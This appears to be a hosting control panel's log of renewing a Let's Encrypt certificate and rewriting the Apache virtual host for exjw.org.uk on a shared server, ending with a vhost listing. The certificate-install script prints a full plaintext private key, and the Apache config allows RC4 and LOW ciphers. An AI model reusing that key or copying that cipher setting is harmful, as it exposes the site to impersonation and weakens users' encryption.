MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-12-27 13:55:45: Establishing a connection
2025-12-27 13:55:45: Establishing a connection
2025-12-27 13:55:45: 

PUT: /tmp/pkp949115

#!/bin/bash
if [ -d "/var/www/exjw_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-27 13:55:46: 

chmod 755 /tmp/pkp949115; /tmp/pkp949115; rm /tmp/pkp949115

2025-12-27 13:55:46: 


1


2025-12-27 13:55:47: Establishing a connection
2025-12-27 13:55:47: 

PUT: /tmp/pkp432634

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
cat > 0L7cRg_VsSvAMdKYTYHb1I56dSkS2kO2XKuzoewY0H0 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0L7cRg_VsSvAMdKYTYHb1I56dSkS2kO2XKuzoewY0H0.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0L7cRg_VsSvAMdKYTYHb1I56dSkS2kO2XKuzoewY0H0


2025-12-27 13:55:47: 

chmod 755 /tmp/pkp432634; /tmp/pkp432634; rm /tmp/pkp432634

2025-12-27 13:55:47: 




2025-12-27 13:55:54: Establishing a connection
2025-12-27 13:55:54: 

PUT: /tmp/pkp149665

#!/bin/bash
mkdir -p "/var/www/exjw_www/.well-known/acme-challenge/"
cd "/var/www/exjw_www/.well-known/acme-challenge/"
rm 0L7cRg_VsSvAMdKYTYHb1I56dSkS2kO2XKuzoewY0H0


2025-12-27 13:55:54: 

chmod 755 /tmp/pkp149665; /tmp/pkp149665; rm /tmp/pkp149665

2025-12-27 13:55:54: 




2025-12-27 13:55:54: Establishing a connection
2025-12-27 13:55:54: 

PUT: /tmp/pkp528841

#!/bin/bash
temp_file=$(mktemp)
TARGET=7661c45fa1dc2bd7dace8763d6046428.crt

cat > $temp_file <<'endmsg'
8e:a4:5b:c1:5e:a5:0b:75:f6:c8:8e:77:fb:f1:ca:7e

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBjsKLg+NTfW/tJPxaisc5sTXMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjI3MTI1NzIyWhcNMjYwMzI3MTI1NzIxWjAWMRQwEgYDVQQD
EwtleGp3Lm9yZy51azCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBANs8
CSAEfd3NjyDaRWhoqHCmnZmlFnaKfacQaGb/KFelUMhQMWgWGzQmigFyG8e03j8n
Q3yDxi4N/Hgz/QlP6UIsPMANEZ6CAxLhxDN3/EUXZpK/TEcQzce2/14aVLVoLs65
axP/Q/auEYtnE34S7ofqOnX8PlqIcRtlBzVC/yO6IqYRHJu6+NQKYcxUwx6jKXqL
3QyBKee7lvkdRD4in60DecoQjqx74a6YhysBlGfcuYskBzI494SNFVwXkqTVsGna
/f0HW8yDC9ENz/XwagodGdAgnupjUcHR8j1Hp+9/56fer7w5ZRnUxA9ODSoRlFtW
G4mCA45AZUWxknxdtgcCAwEAAaOCAiUwggIhMA4GA1UdDwEB/wQEAwIFoDAdBgNV
HSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUXlA9yPxSvjniiCfUYdLRYJa+UJ8wHwYDVR0jBBgwFoAU56ufDywzoFPTXk94
yLKEDjvWkjMwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEz
LmkubGVuY3Iub3JnLzAWBgNVHREEDzANggtleGp3Lm9yZy51azATBgNVHSAEDDAK
MAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8vcjEzLmMubGVuY3Iu
b3JnLzg4LmNybDCCAQ4GCisGAQQB1nkCBAIEgf8EgfwA+gB3AEmcm2neHXzs/Dbe
zYdkprhbrwqHgBnRVVL76esp3fjDAAABm2AYIo4AAAQDAEgwRgIhAKvsXtgazKMQ
gbc2oBzCdAprdOxswqMtrBKgfkfU0j8XAiEA+xO6Jte0BMrIMgiApXuaLQrvmrvv
WaUKrw7cfEjpCC0AfwClyXiSXVdGF4KHDdiJZgtcVWSLfQBA8uwHaFHRiGkZ9wAA
AZtgGCVmAAgAAAUALPx7vAQDAEgwRgIhALriMdJVsffjNALQxEptmu1SkUj7714x
kGGIOZzvEtuUAiEAqn4+Si0k2dXiSN+PNholXYH/4kzGgsY60jRXGmjOk1swDQYJ
KoZIhvcNAQELBQADggEBAApyuz1PHVOFJkMtq/nUf5qbXS5n9tOpaVImFSebCcCU
ksyx/0eii4Sdpl4WU2/XUvvPO5ccXvJnn61D3WxD1Ks1sp7RMTem3hVfPJ5exGNt
1z74OuWuRr8Y0N+50yw2pU6sAAdSH8rx8CU6O8qW8luZkA3ojxh1QGm/IwmhRoBo
BMxG950THL3wrVsdoimQw4TBYTnuQZ0oNiLyErwM9fNSCizqmnXBP0HtZqeDBdK8
KlsGKtOiLuFr4ycI6sCz8a3V15TGPFRI+BOIXV9afTr8jK9Uqr3JPeKYo/BuNyC8
X6FtyISbttRc89zOM9WIPJyLnECk/HtXswtFKLvj7Cw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDbPAkgBH3dzY8g
2kVoaKhwpp2ZpRZ2in2nEGhm/yhXpVDIUDFoFhs0JooBchvHtN4/J0N8g8YuDfx4
M/0JT+lCLDzADRGeggMS4cQzd/xFF2aSv0xHEM3Htv9eGlS1aC7OuWsT/0P2rhGL
ZxN+Eu6H6jp1/D5aiHEbZQc1Qv8juiKmERybuvjUCmHMVMMeoyl6i90MgSnnu5b5
HUQ+Ip+tA3nKEI6se+GumIcrAZRn3LmLJAcyOPeEjRVcF5Kk1bBp2v39B1vMgwvR
Dc/18GoKHRnQIJ7qY1HB0fI9R6fvf+en3q+8OWUZ1MQPTg0qEZRbVhuJggOOQGVF
sZJ8XbYHAgMBAAECggEALvMtdRjhJ6YE9+EmqhR3tiBIcgYDyIEiJawC38PXDOYP
Zcaevg615rY2KdcZEeyvB9FNx5Wk1GoUXl2r29msN4qnu+1Qj6SCKgIFdYxFjzpS
siyblkCIATQ0fh+fcnYMSCM3RkINeP+QLE13xDEjuiG0QV4ysEq2Bkrdf0+IukqV
8T5mNUbqvuNTf9YgjMJ9hUgTqgnRnEVYzvuH8VuZX2mnSM0gKbSk8tZnimgrSM+F
2IeaaRdjknIedewp5W16TRYus6ltz2o9IhcbQuj8OR18FUNLIoywh2rE/ZkQa6gn
PvMOxi01jW/8x0x+uC3Gbn20v0um4qjtYZKTBzHE8QKBgQDx0pMuMsX14hl6PvEG
hi+pIuaS8iQ5WMcIDR+FPTnKHS4zBQRN5EjrKalWgn8S6aKDejMPP5EdffhjuRf1
DBY3kYCgvubGj1/FAiWGQbtBDEsyoWQ6Lq/m46hPZnMaioBAeoPxq1G9HCfrLLyL
pwZb1CSF1sHjDEKd2PSxOFId2QKBgQDoFnH1INVYpASYxTFjDo4gdU+54FUaU575
ZtBdtnrelypH6RnhCvFzZoo0tgNEt6aZp/9qclcShLLYtM7Fms1gP0XrwWrPxjFw
bRl5ntNkA8DYTaC3SnOArlmQTO8cDjhPAKkgEN5lKmPdVJUUpIFjKyt4UDp1yvkz
MkwbzXOm3wKBgETpcS/VIDy1tfT0QtNNIf/dBkAR6Oi+t9k/hCAAFpvWPPglEdjw
mScKtEsG3ReSpNE63ZoWz0/MOiCQ+pbGXv5u5GzqefFTokMOHYto5+fdjQBcpac+
7rmpXqlh1KNXnLzDLR6NZ7mwcF/AW+qgKlu41L+fN5lwQPuie/iUyDHhAoGBAKB+
JP/mXKKXibY7ZxOhFRfNB/z57N/vw5ekSaMEdaNH1a00vPiqoJ204w3gcBItDcBk
NHRf7WaY7TR+lB6CFlPgbXHCpyJXZAji6SL5eiVHkywBQop9qbHq33SyPwefrcC0
LEBIagJ7deOwggdsWy1AxSbGFCcw3XNR7N+tC7TxAoGAE4eFRxtOhWyjzKA0Ln+L
u39sK1yyV7KfaWO+4nJ7RRgPuj5xRuYgq+rlzZe7/dCe3Z5fkvUHW9poTF+MbTFb
Uf93tvPUZLsNVlpY8NfHWnb5EfBCFLd8ewj7o6GBwHnenrnuHDsRDFHMLaAoj9L/
vUYmS16e8uAycdo5IgqJies=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-27 13:55:54: 

chmod 755 /tmp/pkp528841; /tmp/pkp528841; rm /tmp/pkp528841

2025-12-27 13:55:54: 


dir=/etc/ssl/certs


2025-12-27 13:55:55: 

PUT: /tmp/pkp875077

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/exjw_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-27 13:55:55: 

chmod 755 /tmp/pkp875077; /tmp/pkp875077; rm /tmp/pkp875077

2025-12-27 13:55:55: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/exjw_www_org-uk.conf 39

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-27 13:55:55: 

PUT: /tmp/pkp156195

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=exjw_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/exjw_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	exjw.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/7661c45fa1dc2bd7dace8763d6046428.crt
    DocumentRoot	/var/www/exjw_www
    <Directory /var/www/exjw_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/exjw/www_secure_access.log combined
    ErrorLog	/var/log/apache2/exjw/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/exjw_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/exjw_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/exjw_www_org-uk.conf= 1'
fi


2025-12-27 13:55:55: 

chmod 755 /tmp/pkp156195; /tmp/pkp156195; rm /tmp/pkp156195

2025-12-27 13:55:55: 




2025-12-27 13:55:55: 

PUT: /tmp/pkp739702

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-27 13:55:55: 

chmod 755 /tmp/pkp739702; /tmp/pkp739702; rm /tmp/pkp739702

2025-12-27 13:55:55: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-27 13:55:55: Establishing a connection
2025-12-27 13:55:55: 

PUT: /tmp/pkp110655

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-27 13:55:55: 

chmod 755 /tmp/pkp110655; /tmp/pkp110655; rm /tmp/pkp110655

2025-12-27 13:55:55: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
